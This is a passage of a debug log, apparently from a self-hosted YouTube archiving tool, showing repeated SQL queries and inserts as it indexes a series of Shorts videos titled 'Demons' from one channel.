m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:49.183 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 18:51:49.183 [debug] Current batch of media processed. Will check again in 1000ms 18:51:50.184 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 18:51:50.185 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:50.185 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:50.186 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 18:51:50.187 [debug] QUERY OK source="media_items" db=0.6ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "2c4a944a-3aaf-4584-a44e-affcd2b20fa2", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 01:51:50Z], ~U[2026-08-20 01:51:50Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 18:51:50.187 [debug] QUERY OK source="sources" db=0.2ms idle=30.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:50.187 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:50.188 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 18:51:50.188 [debug] Current batch of media processed. Will check again in 1000ms 18:51:51.189 [debug] Current batch of media processed. Will check again in 1000ms 18:51:52.190 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 18:51:52.191 [debug] QUERY OK source="sources" db=0.3ms idle=502.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:52.191 [debug] QUERY OK source="sources" db=0.1ms idle=502.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:52.192 [debug] QUERY OK source="media_items" db=0.2ms idle=503.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 18:51:52.193 [debug] QUERY OK source="media_items" db=0.6ms idle=503.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "08448807-8b5a-4c40-8a09-18ad0d5aca72", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 01:51:52Z], ~U[2026-08-20 01:51:52Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 18:51:52.193 [debug] QUERY OK source="sources" db=0.2ms idle=34.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:52.194 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:52.194 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 18:51:52.194 [debug] Current batch of media processed. Will check again in 1000ms 18:51:53.195 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 18:51:53.196 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:53.196 [debug] QUERY OK source="sources" db=0.2ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:53.197 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 18:51:53.197 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "726e017a-aa3d-4b54-ae94-f7de3e088984", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 01:51:53Z], ~U[2026-08-20 01:51:53Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 18:51:53.198 [debug] QUERY OK source="sources" db=0.2ms idle=36.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:53.198 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:53.199 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 18:51:53.199 [debug] Current batch of media processed. Will check again in 1000ms 18:51:54.200 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 18:51:54.201 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:54.201 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:54.201 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 18:51:54.202 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "54068fbb-5f67-4cb9-97b6-441d57784766", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 01:51:54Z], ~U[2026-08-20 01:51:54Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 18:51:54.202 [debug] QUERY OK source="sources" db=0.2ms idle=40.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:54.203 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:54.203 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 18:51:54.203 [debug] Current batch of media processed. Will check again in 1000ms 18:51:55.204 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 18:51:55.205 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:51:55.205 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:55.205 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 18:51:55.206 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "aaf984f7-2f00-49b4-b35c-2dffa3e45ac3", 